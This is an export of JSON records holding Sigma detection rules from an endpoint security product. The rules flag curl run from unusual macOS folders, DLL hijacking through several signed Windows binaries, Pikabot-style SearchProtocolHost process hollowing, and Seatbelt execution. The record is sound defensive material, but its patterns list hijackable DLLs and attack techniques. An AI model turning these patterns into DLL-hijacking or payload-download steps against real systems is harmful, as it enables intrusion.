+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617713Z",
+  "creation_date": "2026-03-23T11:45:34.617715Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617719Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_curl_susp_parent.yml",
+  "content": "title: Curl Executed in a Suspicious Execution Context\nid: 2dd18b86-68a7-4c00-9cd0-36f3ad10d60e\ndescription: |\n    Detects the curl command being executed by a parent process located in an uncommon folder.\n    Attackers may execute curl to download additional payloads.\n    It is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\nreferences:\n    - https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/07/22\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CommandAndControl\n    - classification.macOS.Behavior.FileDownload\n    - classification.macOS.Behavior.Exfiltration\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/curl'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n\n    filter_shell:\n        ParentImage|endswith:\n            - '/zsh'\n            - '/sh'\n            - '/bash'\n\n    exclusion_adode:\n        ProcessParentImage|endswith: '/AcroInstallAlert.app/Contents/MacOS/AcroInstallAlert'\n        ProcessCommandLine|startswith:  '/usr/bin/curl -H Cache-Control: no-cache https://acroipm2.adobe.com/'\n\n    condition: selection and 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2dd18b86-68a7-4c00-9cd0-36f3ad10d60e",
+  "rule_name": "Curl Executed in a Suspicious Execution Context",
+  "rule_description": "Detects the curl command being executed by a parent process located in an uncommon folder.\nAttackers may execute curl to download additional payloads.\nIt is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2de657e9-b90e-455c-921d-6dc97f347601",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618947Z",
+  "creation_date": "2026-03-23T11:45:34.618949Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618953Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_slui.yml",
+  "content": "title: DLL Hijacking via slui.exe\nid: 2de657e9-b90e-455c-921d-6dc97f347601\ndescription: |\n    Detects potential Windows DLL Hijacking via slui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'slui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\iphlpapi.dll'\n            - '\\ndfapi.dll'\n            - '\\PROPSYS.dll'\n            - '\\sppc.dll'\n            - '\\wdi.dll'\n            - '\\WINBRAND.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    filter_docker:\n        Image: '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\slui.exe'\n        ImageLoaded: '*\\windowsfilter\\\\*\\Files\\Windows\\System32\\\\*.dll'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2de657e9-b90e-455c-921d-6dc97f347601",
+  "rule_name": "DLL Hijacking via slui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via slui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e0c666b-c55c-45ac-b889-dd35b1dd206c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080686Z",
+  "creation_date": "2026-03-23T11:45:34.080688Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080692Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mshta.yml",
+  "content": "title: DLL Hijacking via mshta.exe\nid: 2e0c666b-c55c-45ac-b889-dd35b1dd206c\ndescription: |\n    Detects potential Windows DLL Hijacking via mshta.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mshta.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\netutils.dll'\n            - '\\srpapi.dll'\n            - '\\SspiCli.dll'\n            - '\\WINHTTP.dll'\n            - '\\wkscli.dll'\n            - '\\WLDP.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e0c666b-c55c-45ac-b889-dd35b1dd206c",
+  "rule_name": "DLL Hijacking via mshta.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mshta.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e473606-203c-47b8-8899-647af707c98a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080012Z",
+  "creation_date": "2026-03-23T11:45:34.080014Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080018Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot",
+    "https://www.zscaler.fr/blogs/security-research/technical-analysis-pikabot",
+    "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_suspicious_searchprotocolhost_execution.yml",
+  "content": "title: Suspicious SearchProtocolHost.exe Execution\nid: 2e473606-203c-47b8-8899-647af707c98a\ndescription: |\n    Detects the suspicious execution of the legitimate SearchProtocolHost.exe Windows binary without legitimate command-line arguments.\n    This technique has been used by the Pikabot malware, which starts SearchProtocolHost as a host for its payload, injected via process hollowing.\n    Attackers can use process hollowing to inject malicious code into legitimate processes, allowing them to evade detection and execute harmful activities on a compromised system.\n    It is recommended to analyze actions taken by SearchProtocolHost as well as to look for other suspicious actions performed by the parent process.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot\n    - https://www.zscaler.fr/blogs/security-research/technical-analysis-pikabot\n    - https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/11/20\nmodified: 2025/09/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'SearchProtocolHost.exe'\n        ProcessParentImage|contains: '?'\n\n    filter_commandline:\n        CommandLine|contains: ' Global\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e473606-203c-47b8-8899-647af707c98a",
+  "rule_name": "Suspicious SearchProtocolHost.exe Execution",
+  "rule_description": "Detects the suspicious execution of the legitimate SearchProtocolHost.exe Windows binary without legitimate command-line arguments.\nThis technique has been used by the Pikabot malware, which starts SearchProtocolHost as a host for its payload, injected via process hollowing.\nAttackers can use process hollowing to inject malicious code into legitimate processes, allowing them to evade detection and execute harmful activities on a compromised system.\nIt is recommended to analyze actions taken by SearchProtocolHost as well as to look for other suspicious actions performed by the parent process.\n",
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-09-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e58af7c-54b9-470d-b64b-f3731c941837",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594471Z",
+  "creation_date": "2026-03-23T11:45:34.594474Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594482Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systemreset.yml",
+  "content": "title: DLL Hijacking via systemreset.exe\nid: 2e58af7c-54b9-470d-b64b-f3731c941837\ndescription: |\n    Detects potential Windows DLL Hijacking via systemreset.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systemreset.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\Cabinet.dll'\n            - '\\d3d10warp.dll'\n            - '\\d3d11.dll'\n            - '\\dbgcore.DLL'\n            - '\\DismApi.DLL'\n            - '\\dxgi.dll'\n            - '\\FVEAPI.dll'\n            - '\\ReAgent.dll'\n            - '\\ResetEngine.dll'\n            - '\\tbs.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\WDSCORE.dll'\n            - '\\WIMGAPI.DLL'\n            - '\\WINHTTP.dll'\n            - '\\WOFUTIL.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e58af7c-54b9-470d-b64b-f3731c941837",
+  "rule_name": "DLL Hijacking via systemreset.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systemreset.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e6c9be7-7b83-4cf8-8c6f-ffbf9b4ce480",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588697Z",
+  "creation_date": "2026-03-23T11:45:34.588700Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588708Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wwahost.yml",
+  "content": "title: DLL Hijacking via WWAHost.exe\nid: 2e6c9be7-7b83-4cf8-8c6f-ffbf9b4ce480\ndescription: |\n    Detects potential Windows DLL Hijacking via WWAHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WWAHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iertutil.dll'\n            - '\\profapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e6c9be7-7b83-4cf8-8c6f-ffbf9b4ce480",
+  "rule_name": "DLL Hijacking via WWAHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WWAHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e734ab0-736c-4df7-904a-68429e75bea2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606287Z",
+  "creation_date": "2026-03-23T11:45:34.606291Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606298Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/Seatbelt",
+    "https://attack.mitre.org/techniques/T1082/"
+  ],
+  "name": "t1082_launch_seatbelt.yml",
+  "content": "title: Seatbelt HackTool Executed\nid: 2e734ab0-736c-4df7-904a-68429e75bea2\ndescription: |\n    Detects the execution of the Seatbelt host enumeration and security assessment tool.\n    Seatbelt is an offensive security tool commonly used by attackers during the discovery phase to gather detailed system information, security configurations, and potential weaknesses that could be exploited for privilege escalation.\n    Unless this execution is part of an authorized security audit, it is recommended to investigate the context of this activity including the user account involved and any data gathered by the tool, as it may indicate reconnaissance for an attack.\nreferences:\n    - https://github.com/GhostPack/Seatbelt\n    - https://attack.mitre.org/techniques/T1082/\ndate: 2021/04/26\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1082\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Seatbelt\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\Seatbelt.exe'\n        - OriginalFileName: 'Seatbelt.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2e734ab0-736c-4df7-904a-68429e75bea2",
+  "rule_name": "Seatbelt HackTool Executed",
+  "rule_description": "Detects the execution of the Seatbelt host enumeration and security assessment tool.\nSeatbelt is an offensive security tool commonly used by attackers during the discovery phase to gather detailed system information, security configurations, and potential weaknesses that could be exploited for privilege escalation.\nUnless this execution is part of an authorized security audit, it is recommended to investigate the context of this activity including the user account involved and any data gathered by the tool, as it may indicate reconnaissance for an attack.\n",
+  "rule_creation_date": "2021-04-26",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2e7c5a05-6c01-4aac-b25c-16ea27b31087",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098251Z",
+  "creation_date": "2026-03-23T11:45:34.098253Z",
